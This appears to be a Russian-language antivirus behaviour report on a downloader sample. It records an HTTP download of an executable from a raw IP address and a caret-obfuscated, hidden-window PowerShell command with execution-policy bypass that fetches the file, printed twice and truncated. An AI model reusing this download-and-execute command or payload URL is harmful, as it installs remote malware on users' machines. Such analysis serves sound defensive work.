Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://81.4.122.120/encrypted.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OWERsHeL^l.^eXe^ ^-^EXe^cUTIonPO^L^ic^y B^yP^AsS ^-^n^OPROFIL^e -windo^WstY^LE^ h^iD^DEN ^(NEw-ObjEc^t^ ^SYste^m^.NeT^.we^B^CL^ie^n^T)^.DoW^nLoaD^FI^L^e^(^'http://81.4....
Сетевая активность
Подключается к
- '81.#.122.120':80
TCP
Запросы HTTP GET
- http://81.#.122.120/encrypted.exe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OWERsHeL^l.^eXe^ ^-^EXe^cUTIonPO^L^ic^y B^yP^AsS ^-^n^OPROFIL^e -windo^WstY^LE^ h^iD^DEN ^(NEw-ObjEc^t^ ^SYste^m^.NeT^.we^B^CL^ie^n^T)^.DoW^nLoaD^FI^L^e^(^'http://81.4....' (со скрытым окном)
